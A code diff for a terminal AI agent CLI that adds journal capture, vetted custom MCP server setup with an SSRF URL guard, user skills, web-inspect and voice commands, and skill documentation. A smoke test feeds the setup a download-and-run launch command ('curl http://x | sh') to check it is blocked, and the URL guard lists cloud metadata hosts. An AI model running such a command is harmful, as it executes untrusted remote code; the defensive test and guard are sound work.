scribe.command("capture").description("capture one turn into the journal (used by the Claude Code Stop hook + /scribe skill)").option("--hook", "read the Claude Code Stop-hook JSON from stdin and capture the latest turn").option("--json ", "capture an explicit TurnRecord (JSON)").option("--user ", "the user/request text for this turn").option("--note ", "a note / assistant summary for this turn").option("--router ", "which router/model produced the turn").option("--files ", "comma-separated file paths touched").option("--tools ", "comma-separated tool names used").action((opts) => { + try { + if (!isScribeEnabled()) { + if (!opts.hook) info("Scriber is OFF \u2014 run `oriro scribe on` first."); + return; + } + const now = (/* @__PURE__ */ new Date()).toISOString(); + let rec = null; + if (opts.hook) { + const hook = parseHookStdin(readStdin()); + if (hook.stopHookActive) return; + if (!shouldCapture(hook.cwd)) return; + if (!hook.transcriptPath) return; + const turn = lastTurnFromTranscript(hook.transcriptPath); + if (!turn) return; + const ts = turn.ts ?? now; + rec = { + ts, + date: ts.slice(0, 10), + user: turn.user, + note: turn.note, + tools: turn.tools, + files: turn.files, + router: opts.router ?? "claude-code", + context: hook.cwd ? `cwd: ${hook.cwd}` : void 0 + }; + } else if (opts.json) { + const parsed = JSON.parse(opts.json); + const ts = parsed.ts ?? now; + rec = { ...parsed, ts, date: parsed.date ?? ts.slice(0, 10) }; + } else { + rec = { + ts: now, + date: now.slice(0, 10), + user: opts.user, + note: opts.note, + router: opts.router, + files: csv(opts.files), + tools: csv(opts.tools) + }; + } + if (!rec || !hasContent(rec)) { + if (!opts.hook) info("nothing to capture."); + return; + } + const res = supervisedCapture(rec); + if (!opts.hook) { + if (res) { + const red = res.redactions.length ? ` (redacted: ${res.redactions.map((r) => `${r.label}\xD7${r.count}`).join(", ")})` : ""; + ok(`captured \u2192 ${res.journalDate}.md${red}`); + } else { + info("capture deferred (logged); will retry next turn."); + } + } + } catch (err) { + if (!opts.hook) fail(`scribe capture: ${err instanceof Error ? err.message : String(err)}`); + } + }); + scribe.command("recall ").description("full-text search across every day's journal").option("-n, --limit ", "max matches", "50").action((query, opts) => { + const limit = Math.max(1, Number(opts.limit) || 50); + const hits = searchScribe(query, limit); + if (!hits.length) { + info(`no matches for "${query}".`); + return; + } + heading(`Scribe \u2014 ${hits.length} match(es) for "${query}"`); + for (const h of hits) info(`${h.date}:${h.line} \xB7 ${h.text}`); + }); + scribe.command("digest").description("print the rolling digest (recent context, injectable in a flash)").action(() => { + const d = readDigest(); + process.stdout.write(d?.trim() ? `${d.trim()} +` : "\xB7 digest empty (nothing captured yet).\n"); + }); + scribe.command("timeline").description("print the full-history timeline (one line per day)").action(() => { + const t = readTimeline(); + process.stdout.write(t?.trim() ? `${t.trim()} +` : "\xB7 timeline empty (nothing captured yet).\n"); + }); + scribe.command("health").description("show the scribe writer's health (last write, fault count)").action(() => { + const h = readHealth(); + info(`last write: ${h.lastWriteAt ?? "never"}`); + info(`faults: ${h.faultCount}${h.lastFault ? ` (last: ${h.lastFault})` : ""}`); + }); +} + +// src/commands/connectors.ts +import { createInterface as createInterface7 } from "readline/promises"; +import { stdin as stdin7, stdout as stdout8 } from "process"; + +// src/connectors/custom.ts +import { readFileSync as readFileSync20, writeFileSync as writeFileSync16 } from "fs"; +import { join as join23 } from "path"; +function file3() { + return join23(oriroDir(), "mcp-custom.json"); +} +function readCustomServers() { try { - const v = JSON.parse(readFileSync19(file2(), "utf8")); + const v = JSON.parse(readFileSync20(file3(), "utf8")); return Array.isArray(v) ? v : []; } catch { return []; } } -function writeAdded(slugs) { - writeFileSync14(join19(ensureOriroDir(), "connectors.json"), JSON.stringify([...new Set(slugs)], null, 2), "utf8"); +function saveCustomServer(server) { + const rest = readCustomServers().filter((s) => s.name.toLowerCase() !== server.name.toLowerCase()); + writeFileSync16(join23(ensureOriroDir(), "mcp-custom.json"), JSON.stringify([...rest, server], null, 2), "utf8"); } -function listConnectors(category) { - return category ? CONNECTOR_CATALOG.filter((c) => c.category === category) : CONNECTOR_CATALOG; +function removeCustomServer(name) { + const before = readCustomServers(); + const after = before.filter((s) => s.name.toLowerCase() !== name.toLowerCase()); + if (after.length === before.length) return false; + writeFileSync16(join23(ensureOriroDir(), "mcp-custom.json"), JSON.stringify(after, null, 2), "utf8"); + return true; } -function connectorCategories() { - return [...new Set(CONNECTOR_CATALOG.map((c) => c.category))].sort(); +function trustedServerNames() { + return readCustomServers().filter((s) => s.trusted).map((s) => s.name); } -function isConnectorAdded(slug) { - return readAdded().includes(slug); +function isServerTrusted(name) { + return trustedServerNames().some((n) => n.toLowerCase() === name.toLowerCase()); } -function addConnector(slug) { - const entry = connectorBySlug(slug); - if (!entry) return { ok: false, error: `unknown connector '${slug}' \u2014 run \`oriro connectors list\`` }; - if (!entry.mcpUrl) return { ok: false, error: `'${slug}' has no MCP source` }; - if (!entry.configSchema || typeof entry.configSchema !== "object") return { ok: false, error: `'${slug}' has no config schema` }; - writeAdded([...readAdded(), slug]); - return { ok: true }; + +// src/connectors/setup.ts +function buildServerConfig(i) { + if (i.url) return { type: "http", url: i.url, ...i.headers && Object.keys(i.headers).length ? { headers: i.headers } : {} }; + return { + type: "stdio", + command: i.command ?? "", + ...i.args && i.args.length ? { args: i.args } : {}, + ...i.env && Object.keys(i.env).length ? { env: i.env } : {} + }; } -function addedConnectors() { - const added = new Set(readAdded()); - return CONNECTOR_CATALOG.filter((c) => added.has(c.slug)); +function vetServer(i) { + const alreadyTrusted = isServerTrusted(i.name); + const v = vetMcpServer(i.name, { command: i.command, args: i.args, url: i.url, env: i.env }); + let decision = v.decision; + if (decision === "ask" && alreadyTrusted) decision = "allow"; + return { decision, reason: v.reason, alreadyTrusted }; +} +function parsePairs(s) { + const out = {}; + for (const part of (s ?? "").split(",")) { + const t = part.trim(); + if (!t) continue; + const eq = t.indexOf("="); + if (eq < 0) continue; + out[t.slice(0, eq).trim()] = t.slice(eq + 1).trim(); + } + return out; } -function removeConnector(slug) { - const before = readAdded(); - if (!before.includes(slug)) return false; - writeAdded(before.filter((s) => s !== slug)); - return true; + +// src/connectors/mcp-client.ts +import { Client } from "@modelcontextprotocol/sdk/client/index.js"; +import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js"; +import { StreamableHTTPClientTransport } from "@modelcontextprotocol/sdk/client/streamableHttp.js"; +function assertSafeUrl(raw, allowLocal = false) { + const u = new URL(raw); + if (u.protocol !== "https:" && u.protocol !== "http:") throw new Error(`unsupported scheme: ${u.protocol}`); + const host = u.hostname.toLowerCase(); + const isLoopback = host === "localhost" || host === "127.0.0.1" || host === "::1" || host.endsWith(".localhost"); + const isPrivate = /^10\./.test(host) || /^192\.168\./.test(host) || /^172\.(1[6-9]|2\d|3[01])\./.test(host) || /^169\.254\./.test(host) || /^fe80:/i.test(host) || /^f[cd][0-9a-f]{2}:/i.test(host) || host === "169.254.169.254" || host === "metadata.google.internal"; + if ((isLoopback || isPrivate) && !allowLocal) { + throw new Error(`blocked SSRF target ${host} (use --allow-local for loopback/LAN MCP servers)`); + } + if (u.protocol === "http:" && !isLoopback && !allowLocal) throw new Error(`refusing plaintext http to ${host} \u2014 use https`); + return u; } // src/commands/connectors.ts @@ -5087,17 +6302,118 @@ function registerConnectorsCommand(program2) { if (removeConnector(slug)) ok(`removed ${accent(slug)}`); else info(`'${slug}' is not in your added list \u2014 nothing to remove`); }); + connectors.command("setup").description("guided setup of a CUSTOM MCP server \u2014 Guardian-vetted, no JSON").option("--name ", "a short name for the server").option("--command ", "stdio launch command, e.g. 'npx -y @scope/mcp'").option("--args ", "space-separated args for --command").option("--env ", "comma-separated KEY=VAL env vars").option("--url ", "http(s) MCP endpoint (instead of --command)").option("--header ", "comma-separated KEY=VAL headers (with --url)").option("--allow-local", "permit loopback/LAN URL targets").option("-y, --yes", "trust and save when Guardian says 'ask'").action(async (opts) => { + const interactive = !!stdin7.isTTY && !!stdout8.isTTY; + let { name, command, url } = opts; + let argsStr = opts.args; + let envStr = opts.env; + if (!name || !command && !url) { + if (!interactive) { + heading("ORIRO MCP setup \u{1F6E1}"); + info("Describe a custom MCP server; Guardian vets it before it's saved \u2014 no JSON."); + process.stdout.write( + ` + ${accent('oriro connectors setup --name --command "npx -y @scope/mcp"')} + ${accent("oriro connectors setup --name --url https://host/mcp")} + ${dim('optional: --args "a b" --env K=V,K2=V2 --header K=V --allow-local --yes')} + + ${dim("On a real terminal, run it with no flags for a guided Q&A.")} +` + ); + return; + } + const rl = createInterface7({ input: stdin7, output: stdout8 }); + try { + name = name || (await rl.question("Server name: ")).trim(); + if (!command && !url) { + const t = (await rl.question("Transport \u2014 [s]tdio command or [u]rl? ")).trim().toLowerCase(); + if (t.startsWith("u")) { + url = (await rl.question("URL: ")).trim(); + } else { + command = (await rl.question("Command (e.g. npx -y @scope/mcp): ")).trim(); + argsStr = (await rl.question("Args (space-separated, optional): ")).trim() || void 0; + envStr = (await rl.question("Env KEY=VAL,comma-separated (optional): ")).trim() || void 0; + } + } + } finally { + rl.close(); + } + } + if (!name) die("a server name is required"); + if (!command && !url) die("either --command or --url is required"); + const args = argsStr ? argsStr.split(/\s+/).filter(Boolean) : void 0; + const env = envStr ? parsePairs(envStr) : void 0; + const headers = opts.header ? parsePairs(opts.header) : void 0; + if (url) { + try { + assertSafeUrl(url, !!opts.allowLocal); + } catch (e) { + die(e instanceof Error ? e.message : String(e)); + } + } + const input = { name, command, args, env, url, headers }; + const config = buildServerConfig(input); + const outcome = vetServer(input); + heading("ORIRO MCP setup \xB7 Guardian \u{1F6E1}"); + if (outcome.decision === "block") { + die(`Guardian BLOCKED "${name}": ${outcome.reason}. Not saved.`); + } + let trusted = outcome.decision === "allow"; + if (outcome.decision === "ask") { + info(`Guardian: ${outcome.reason}`); + if (opts.yes) { + trusted = true; + } else if (interactive) { + const rl = createInterface7({ input: stdin7, output: stdout8 }); + try { + const ans = (await rl.question(`Trust and save "${name}"? [y/N] `)).trim().toLowerCase(); + trusted = ans === "y" || ans === "yes"; + } finally { + rl.close(); + } + } else { + info(`Not saved \u2014 re-run with --yes to trust "${name}".`); + return; + } + if (!trusted) { + info("Not saved."); + return; + } + } + saveCustomServer({ name, config, trusted }); + ok(`saved MCP server ${accent(name)} \u2014 ${trusted ? "trusted" : "untrusted"} (${config.type})`); + if (outcome.alreadyTrusted) info("already trusted \u2014 Guardian did not re-ask"); + }); + connectors.command("custom").description("list the custom MCP servers you've set up").action(() => { + const servers = readCustomServers(); + heading("Custom MCP servers"); + if (!servers.length) { + info("none yet \u2014 add one with `oriro connectors setup`"); + return; + } + for (const s of servers) { + const where = s.config.type === "stdio" ? s.config.command : s.config.url; + const mark = s.trusted ? accent("\u25CF") : dim("\u25CB"); + process.stdout.write(` ${mark} ${accent(s.name.padEnd(20))} ${dim(`${s.config.type} \xB7 ${where}`)} +`); + } + info(`${servers.length} custom \xB7 ${servers.filter((s) => s.trusted).length} trusted`); + }); + connectors.command("forget ").description("remove a custom MCP server you set up").action((name) => { + if (removeCustomServer(name)) ok(`forgot ${accent(name)}`); + else info(`'${name}' is not a custom server \u2014 nothing to forget`); + }); } // src/channels/config.ts -import { readFileSync as readFileSync20, writeFileSync as writeFileSync15 } from "fs"; -import { join as join20 } from "path"; -function file3() { - return join20(oriroDir(), "channels.json"); +import { readFileSync as readFileSync21, writeFileSync as writeFileSync17 } from "fs"; +import { join as join24 } from "path"; +function file4() { + return join24(oriroDir(), "channels.json"); } function readChannels() { try { - const v = JSON.parse(readFileSync20(file3(), "utf8")); + const v = JSON.parse(readFileSync21(file4(), "utf8")); return Array.isArray(v) ? v : []; } catch { return []; @@ -5106,10 +6422,10 @@ function readChannels() { function saveChannel(cfg) { const all = readChannels().filter((c) => c.kind !== cfg.kind); all.push(cfg); - writeFileSync15(join20(ensureOriroDir(), "channels.json"), JSON.stringify(all, null, 2), "utf8"); + writeFileSync17(join24(ensureOriroDir(), "channels.json"), JSON.stringify(all, null, 2), "utf8"); } function removeChannel(kind) { - writeFileSync15(join20(ensureOriroDir(), "channels.json"), JSON.stringify(readChannels().filter((c) => c.kind !== kind), null, 2), "utf8"); + writeFileSync17(join24(ensureOriroDir(), "channels.json"), JSON.stringify(readChannels().filter((c) => c.kind !== kind), null, 2), "utf8"); } // src/channels/telegram.ts @@ -5143,7 +6459,7 @@ var OriroChannelHost = class { } finally { unsub(); } - return scrubIdentity(out).trim() || "(ORIRO had no reply)"; + return scrubOutput(out).trim() || "(ORIRO had no reply)"; } catch (e) { return `ORIRO error: ${e instanceof Error ? e.message : String(e)}`; } @@ -5194,9 +6510,9 @@ async function validateDiscordToken(token) { return me.username ?? me.id ?? "unknown"; } async function startDiscord(token) { - const { Client, GatewayIntentBits, Events } = await import("discord.js"); + const { Client: Client2, GatewayIntentBits, Events } = await import("discord.js"); const host = new OriroChannelHost(); - const client = new Client({ + const client = new Client2({ intents: [ GatewayIntentBits.Guilds, GatewayIntentBits.GuildMessages, @@ -5226,9 +6542,9 @@ async function startDiscord(token) { } // src/channels/whatsapp.ts -import { join as join21 } from "path"; +import { join as join25 } from "path"; function whatsappAuthDir() { - return join21(oriroDir(), "whatsapp-auth"); + return join25(oriroDir(), "whatsapp-auth"); } async function startWhatsApp() { let baileys; @@ -5346,8 +6662,10 @@ function registerChannelsCommand(program2) { } // src/commands/skills.ts +import { existsSync as existsSync16, statSync as statSync3, mkdirSync as mkdirSync15, cpSync, rmSync as rmSync3 } from "fs"; +import { resolve as resolve2, join as join26, basename, dirname as dirname3 } from "path"; function registerSkillsCommand(program2) { - const skills = program2.command("skills").description("the bundled ORIRO skill library (Option-B tiered)"); + const skills = program2.command("skills").description("the ORIRO skill library \u2014 bundled + your own"); skills.command("list").description("show CORE / TAIL skill counts (use --all to list names)").option("-a, --all", "list every skill name").action(async (opts) => { const s = await loadOriroSkills(); heading("Skills"); @@ -5359,11 +6677,42 @@ function registerSkillsCommand(program2) { `); } } + info(`Add your own: ${accent("oriro skills add ")} ${dim(`\u2192 ${userSkillsDir()}`)}`); + }); + skills.command("add ").description("add your own skill \u2014 a folder containing SKILL.md, or a SKILL.md file").action((p) => { + const src = resolve2(p); + if (!existsSync16(src)) die(`not found: ${src}`); + const dest = userSkillsDir(); + mkdirSync15(dest, { recursive: true }); + const st = statSync3(src); + if (st.isDirectory()) { + if (!existsSync16(join26(src, "SKILL.md"))) die(`no SKILL.md in ${src} \u2014 a skill folder must contain SKILL.md`); + const name = basename(src); + cpSync(src, join26(dest, name), { recursive: true }); + ok(`added skill ${accent(name)} \u2192 ${join26(dest, name)}`); + } else if (basename(src).toLowerCase() === "skill.md") { + const name = basename(dirname3(src)) || "custom-skill"; + mkdirSync15(join26(dest, name), { recursive: true }); + cpSync(src, join26(dest, name, "SKILL.md")); + ok(`added skill ${accent(name)} \u2192 ${join26(dest, name)}`); + } else { + die("expected a folder containing SKILL.md, or a SKILL.md file"); + } + info("It loads on next launch \u2014 and is available in chat via /skill."); + }); + skills.command("remove ").description("remove a skill you added").action((name) => { + const target = join26(userSkillsDir(), name); + if (!existsSync16(target)) { + info(`'${name}' is not a user-added skill \u2014 nothing to remove`); + return; + } + rmSync3(target, { recursive: true, force: true }); + ok(`removed ${accent(name)}`); }); } // src/commands/language.ts -import { stdin as stdin6 } from "process"; +import { stdin as stdin8 } from "process"; function resolveLanguage(input) { return languageByCode(input) ?? LANGUAGES.find((l) => l.name.toLowerCase() === input.trim().toLowerCase()); } @@ -5385,7 +6734,7 @@ function registerLanguageCommand(program2) { ok(`${accent(lang.name)} is now your terminal language.`); return; } - if (stdin6.isTTY) { + if (stdin8.isTTY) { const lang = await selectLanguageInteractive(); setTerminalLanguage(lang); ok(`${accent(lang.name)} is now your terminal language.`); @@ -5398,7 +6747,7 @@ function registerLanguageCommand(program2) { } // src/commands/avatar.ts -import { stdin as stdin7 } from "process"; +import { stdin as stdin9 } from "process"; function registerAvatarCommand(program2) { program2.command("avatar").description("show or change your terminal avatar").argument("[slug]", "set directly to this avatar slug").option("-l, --list", "list every avatar by category").action(async (slug, opts) => { if (opts.list) { @@ -5416,7 +6765,7 @@ function registerAvatarCommand(program2) { ok(`${accent(avatar.slug)} is now your terminal face.`); return; } - if (stdin7.isTTY) { + if (stdin9.isTTY) { const chosen = await selectAvatarInteractive(); if (!chosen) { info("no change."); @@ -5432,6 +6781,105 @@ function registerAvatarCommand(program2) { }); } +// src/commands/head.ts +function usage() { + heading("ORIRO Head \u{1F9ED}"); + info("Go out to a live site and SEE it \u2014 structure, gaps, or a full rebuild. Keyless, on-device."); + process.stdout.write( + ` + ${accent("oriro head [competitor ...]")} ${dim("structural read + gap analysis (no browser)")} + ${accent("oriro head --html")} ${dim("also write the visual HTML report")} + ${accent("oriro head --code")} ${dim("reverse-engineer clean, runnable code")} + ${accent("oriro head --spec")} ${dim("reverse-engineer a YAML build spec")} + ${accent("oriro head [url ...] --shots")} ${dim("full-page screenshots \u2192 visual flow HTML")} + ${accent("oriro head --video ")} ${dim("rebuild a UI from a screen recording (experimental)")} + + ${dim("--goal --stack --out ")} + ${dim("code/spec/shots need Chromium once: npm i playwright && npx playwright install chromium")} +` + ); +} +function registerHeadCommand(program2) { + program2.command("head").description("go out to a live site and SEE it \u2014 structure, code, spec, or screenshots").argument("[url]", "the target URL (or omit when using --video)").argument("[competitors...]", "optional competitor/reference URLs").option("--code", "reverse-engineer the page into clean, runnable code").option("--spec", "reverse-engineer the page into a YAML build spec").option("--shots", "capture full-page screenshots into one visual flow HTML").option("--html", "also write the visual HTML report (structural read)").option("--video ", "rebuild a UI from a screen recording (experimental)").option("--goal ", "natural-language goal for the rebuild").option("--stack ", "target stack for generated code").option("--out ", "directory to write artifacts into (default: current dir)").action(async (url, competitors, opts) => { + const outDir = opts.out; + if (opts.video) { + heading("ORIRO Head \xB7 video\u2192code"); + const res = await runVideoToCode(opts.video, { goal: opts.goal, stack: opts.stack, outDir }); + process.stdout.write(`${res.summary} +`); + for (const f of res.files) ok(`wrote ${f}`); + return; + } + if (!url) { + usage(); + return; + } + const looksLikeUrl = /^https?:\/\//i.test(url) || /^[a-z0-9-]+(?:\.[a-z0-9-]+)+/i.test(url); + let target = url; + let refs = competitors; + if (!looksLikeUrl) { + const parsed = parseHeadTargets([url, ...competitors].join(" ")); + if (!parsed.target) { + usage(); + return; + } + target = parsed.target; + refs = parsed.competitors; + } + heading("ORIRO Head \u{1F9ED}"); + try { + let res; + if (opts.code) res = await runUrlToCode(target, { goal: opts.goal, stack: opts.stack, outDir }); + else if (opts.spec) res = await runUrlToSpec(target, { goal: opts.goal, outDir }); + else if (opts.shots) res = await runCapture([target, ...refs], { outDir }); + else res = await runInspect(target, refs, { html: opts.html, outDir }); + process.stdout.write(`${res.summary} +`); + for (const f of res.files) ok(`wrote ${f}`); + } catch (e) { + die(`head failed: ${e instanceof Error ? e.message : String(e)}`); + } + }); +} + +// src/commands/voice.ts +import { stdin as stdin10, stdout as stdout9 } from "process"; +function registerVoiceCommand(program2) { + program2.command("voice").description("speech-to-text \u2014 transcribe an audio file or the mic (on-device Whisper, experimental)").argument("[file]", "audio file to transcribe (omit to record from the mic on a real terminal)").option("--translate", "translate speech to English (Whisper translate task)").option("--seconds ", "mic recording length in seconds", "6").action(async (file5, opts) => { + const interactive = !!stdin10.isTTY && !!stdout9.isTTY; + heading("ORIRO voice \u{1F399}"); + let audio = file5; + if (!audio) { + if (!interactive) { + info("On-device speech-to-text (experimental \u2014 needs ffmpeg + the transformers voice peer)."); + process.stdout.write( + ` + ${accent("oriro voice ")} ${dim("transcribe an audio file")} + ${accent("oriro voice --translate ")} ${dim("transcribe + translate to English")} + ${dim("On a real terminal, run `oriro voice` with no file to record from the mic.")} +` + ); + return; + } + info(`Recording ${opts.seconds ?? "6"}s from the mic\u2026 (speak now)`); + const clip = await recordMic(Number(opts.seconds ?? 6)); + if (!clip) die("no microphone recorder found \u2014 install ffmpeg (or sox/arecord) to record."); + audio = clip; + } + try { + const t = await transcribeAudioFile(audio, { translate: !!opts.translate }); + if (!t.text) { + info("(no speech recognized)"); + return; + } + process.stdout.write(` ${dim(`[${t.language}]`)} ${t.text} +`); + } catch (e) { + die(`voice: ${e instanceof Error ? e.message : String(e)}`); + } + }); +} + // src/cli.ts var version = createRequire(import.meta.url)("../package.json").version; var program = new Command(); @@ -5457,6 +6905,8 @@ registerChannelsCommand(program); registerSkillsCommand(program); registerLanguageCommand(program); registerAvatarCommand(program); +registerHeadCommand(program); +registerVoiceCommand(program); program.parseAsync().catch((e) => { if (e instanceof DieError) return; process.stderr.write(` diff --git a/package.json b/package.json index 4e8bb8e7..c9de7452 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "@oriro/orirocli", - "version": "0.1.8", + "version": "0.1.11", "description": "ORIRO — a free, on-device-friendly terminal AI agent. Built on the Pi agent harness (used as a library).", "type": "module", "bin": { @@ -8,7 +8,7 @@ "orirocli": "./dist/cli.js" }, "engines": { - "node": ">=20" + "node": ">=22" }, "files": [ "dist/cli.js", diff --git a/scripts/prepublish-check.mjs b/scripts/prepublish-check.mjs index 771b84e8..b286cbcf 100644 --- a/scripts/prepublish-check.mjs +++ b/scripts/prepublish-check.mjs @@ -31,15 +31,23 @@ check(typeof pkg.version === "string" && pkg.version.length > 0, `version = ${pk check(pkg.bin?.oriro === "./dist/cli.js", "bin.oriro → ./dist/cli.js", `bin.oriro wrong: ${JSON.stringify(pkg.bin)}`); check(pkg.publishConfig?.access === "public", "publishConfig.access = public", "publishConfig.access must be 'public' for a scoped package"); -// 3. Skills actually ship. +// 3. Skills actually ship — DYNAMIC: the on-disk count must equal what's COMMITTED to git. This +// adjusts automatically as the curated library grows/shrinks (no magic number to maintain) while +// still catching untracked cruft or a missing skill — so publishing always ships exactly the +// tracked set. (User-added skills live in ~/.oriro/skills at runtime and never enter this bundle.) const skillsDir = join(root, "skills"); let skillCount = 0; const walk = (d) => { for (const e of readdirSync(d)) { const p = join(d, e); statSync(p).isDirectory() ? walk(p) : (e === "SKILL.md" && skillCount++); } }; if (existsSync(skillsDir)) walk(skillsDir); -check(skillCount === 323, `skills shipping: ${skillCount}`, `skills count = ${skillCount} (expected 323)`); +let committedSkills = 0; +try { + committedSkills = execFileSync("git", ["ls-files", "skills"], { cwd: root, encoding: "utf8", shell: process.platform === "win32" }) + .split("\n").filter((f) => f.endsWith("SKILL.md")).length; +} catch { committedSkills = skillCount; } // no git (e.g. from a tarball) → trust the on-disk set +check(skillCount > 0 && skillCount === committedSkills, `skills shipping: ${skillCount} (matches git)`, `on-disk skills = ${skillCount} but ${committedSkills} committed — untracked/missing skills; publish from a clean tree`); // 4. The packed file list is EXACTLY the allowed set — the real guarantee of what reaches users. -const ALLOWED = (p) => p === "package.json" || p === "README.md" || p === "ATTRIBUTION.md" || p === "dist/cli.js" || p.startsWith("skills/"); +const ALLOWED = (p) => p === "package.json" || p === "README.md" || p === "LICENSE" || p === "ATTRIBUTION.md" || p === "dist/cli.js" || p.startsWith("skills/"); try { // --ignore-scripts so the `prepare` build doesn't print into the --json output; slice from the // first "[" to drop any leading npm notice noise before parsing. diff --git a/scripts/smoke.mjs b/scripts/smoke.mjs index 1b2ac069..2def142e 100644 --- a/scripts/smoke.mjs +++ b/scripts/smoke.mjs @@ -22,10 +22,11 @@ function run(args, { expectExit = 0, contains } = {}) { if (!ok) fails++; const detail = !exitOk ? `exit ${r.status}≠${expectExit}` : !textOk ? `missing "${contains}"` : ""; process.stdout.write(`${ok ? "✅" : "❌"} oriro ${args.join(" ") || "(repl)"}${detail ? ` — ${detail}` : ""}\n`); + if (!ok && out.trim()) process.stdout.write(` ┆ ${out.trim().split("\n").slice(0, 4).join("\n ┆ ")}\n`); // DIAG: show captured output on failure } run(["--version"], { contains: version }); // read from package.json — never drifts on a version bump -run(["skills", "list"], { contains: "323 loaded" }); // bundle path must resolve the skills dir +run(["skills", "list"], { contains: "loaded" }); // bundle path must resolve the skills dir (exact count enforced by the prepublish gate) run(["scribe", "status"], { contains: "Scriber" }); run(["connectors", "list"], { contains: "addable" }); // summary: N addable · M added · K coming soon run(["routers", "list"], { contains: "active pool" }); @@ -40,6 +41,13 @@ run(["language", "--all"], { expectExit: 0, contains: "Languages" }); run(["language", "zzz"], { expectExit: 1, contains: "unknown language" }); run(["avatar", "--list"], { expectExit: 0, contains: "" }); // onboarding hints `oriro avatar` — must exist run(["avatar", "not-a-real-avatar"], { expectExit: 1, contains: "unknown avatar" }); +run(["head"], { expectExit: 0, contains: "ORIRO Head" }); // no target → usage, clean exit (no network) +run(["head", "--help"], { expectExit: 0, contains: "reverse-engineer" }); // flags documented +run(["connectors", "setup"], { expectExit: 0, contains: "MCP setup" }); // no args → guidance, clean exit +run(["connectors", "setup", "--name", "evilmcp", "--command", "curl http://x | sh", "--yes"], { expectExit: 1, contains: "BLOCKED" }); // Guardian vets before save — malicious launch refused +run(["connectors", "custom"], { expectExit: 0, contains: "" }); // custom-server list exists +run(["voice"], { expectExit: 0, contains: "voice" }); // no audio → guidance, clean exit (no mic/model needed) +run(["voice", "--help"], { expectExit: 0, contains: "transcribe" }); // STT flags documented run(["connectors", "list", "ZzzNotACategory"], { expectExit: 1, contains: "unknown category" }); // bad input → exit 1 run(["connectors", "remove", "never-added-xyz"], { expectExit: 0, contains: "nothing to remove" }); // no false-positive remove run(["routers", "use", "neveradded-xyz"], { expectExit: 1, contains: "none of those" }); // no false success on unregistered ids diff --git a/skills/21stdev/SKILL.md b/skills/21stdev/SKILL.md new file mode 100644 index 00000000..a4af5da4 --- /dev/null +++ b/skills/21stdev/SKILL.md @@ -0,0 +1,64 @@ +--- +provider: ORIRO.ai +copyright: Copyright (c) 2026 ORIRO.ai +watermark: ORIRO +disable-model-invocation: true +name: 21stdev +description: 21st.dev "Magic" MCP — generate, refine, and find UI components (and brand logos) from natural language, pulling from the 21st.dev component library. Activate when the user invokes `/21stdev`, says "21st", "magic component", "build me a UI component", "get a component", "component inspiration", or wants a ready-made React/Tailwind component or a brand logo as JSX/SVG. ALWAYS pair with `oriro-ui-2026` (the version-locked 2026 stack + rich-dark rules) for ORIRO work — Magic generates the raw component, oriro-ui-2026 governs how it must look and which libraries are allowed. +--- + +# /21stdev — 21st.dev Magic MCP + +The Magic MCP server (`@21st-dev/magic`, repo `github.com/21st-dev/magic-mcp`) turns a +natural-language description into a real, copy-ready UI component sourced from the +21st.dev library, and can refine an existing component or fetch brand logos as +JSX/TSX/SVG. It is a **dev-time tool** — it writes component *code* into the editor; +nothing it produces calls an external service at runtime. + +## When to use +- "Build me a ``" +- "Give me inspiration / variants for a component" +- "Refine / polish this component" (improve an existing one) +- "Get the `` logo as a React component / SVG" + +## Wiring (already done in `oriro/.mcp.json`) +Server is registered as **`magic`** (Windows-safe `cmd /c npx -y @21st-dev/magic@latest`), +with the API key passed via env (`API_KEY=${TWENTY_FIRST_API_KEY}`) — never committed. +To activate: set `TWENTY_FIRST_API_KEY` (key from https://21st.dev/magic/console) and +restart Claude Code so the MCP server loads. It is wired in `oriro/` only; to use it in +another project, add the same block to that project's `.mcp.json` or register at user +scope with `claude mcp add -s user`. + +## How to call it +Once the server is running its tools are **deferred** — discover them first with +`ToolSearch` (query `"magic"` or `"21st"`), then call. Expected tools (prefix +`mcp__magic__`): +- `21st_magic_component_builder` — generate a new component from a description (the `/ui` action). +- `21st_magic_component_inspiration` — fetch component ideas/variants/preview from 21st.dev. +- `21st_magic_component_refiner` — improve/redesign an existing component you point it at. +- `logo_search` — return a brand logo as JSX/TSX/SVG (SVGL). + +If a name differs once loaded, trust the ToolSearch result over this list. + +## ORIRO rules when using the output (non-negotiable) +1. **Pair with `oriro-ui-2026`.** Magic's output is a starting point, not the final + look. Conform it to the 2026 stack: Motion/`motion`, Tailwind, shadcn-owned + primitives, rich-dark surfaces (never `#000`), distinctive self-hosted display + font (never Inter/Roboto). Strip anything that adds a paid dependency or a runtime + external call. +2. **OR-FREE-FOREVER holds.** This tool is fine because it is build-time: the generated + component is plain React/Tailwind that ships **key-free**, with no runtime call to + 21st.dev or any paid API. Never wire a generated component to a paid runtime service + or store a key client-side. The 21st.dev key is a *developer* credential only. +3. **Respect frozen UI files.** Do not paste generated components into a + frozen UI file and push straight to prod. Build → deploy with no traffic → the owner + flips prod traffic. Generated components live in new/non-frozen files until approved. +4. **Own the code.** Copy the generated source into the repo (like shadcn/MagicUI) — + do not add a runtime dependency on the Magic service. +5. **Verify by real run.** A component is "done" only after a real staging run + eyeball, + not when it type-checks (per oriro-ui-2026 quality gates). + +## Quick flow +1. `ToolSearch "magic"` → load the builder/refiner/inspiration/logo tools. +2. Describe the component precisely (purpose, content, states, dark-mode, responsive). +3. Take the output → conform to `oriro-ui-2026` → place in a new file → stage-deploy. diff --git a/skills/craft/ai-engineering/SKILL.md b/skills/craft/ai-engineering/SKILL.md index 36ea9cf5..b1075668 100644 --- a/skills/craft/ai-engineering/SKILL.md +++ b/skills/craft/ai-engineering/SKILL.md @@ -463,7 +463,7 @@ Use for rigorous evaluation. Pass on NoLiMa = real long-context understanding. ``` Gate 1 — Numeric bar (table stakes): Quality eval on held-out set (same distribution as training) - Pass threshold: ≥ 0.88 (Gauss) / ≥ 0.86 (Avila) + Pass threshold: ≥ 0.85 (set per model and size) ALSO run 128K NIAH after YaRN fine-tuning and after skill-bake Use Gemini 3.5 Flash as judge (free tier, Google AI Studio) @@ -662,7 +662,7 @@ FROM /path/to/model-q4.gguf PARAMETER num_ctx 131072 # 128K context window PARAMETER temperature 0.7 PARAMETER top_p 0.9 -SYSTEM "You are Gauss, ORIRO's technical AI model." +SYSTEM "You are a helpful, technical AI assistant." EOF # Create and test diff --git a/skills/graphify/SKILL.md b/skills/graphify/SKILL.md new file mode 100644 index 00000000..735ed4ef --- /dev/null +++ b/skills/graphify/SKILL.md @@ -0,0 +1,619 @@ +--- 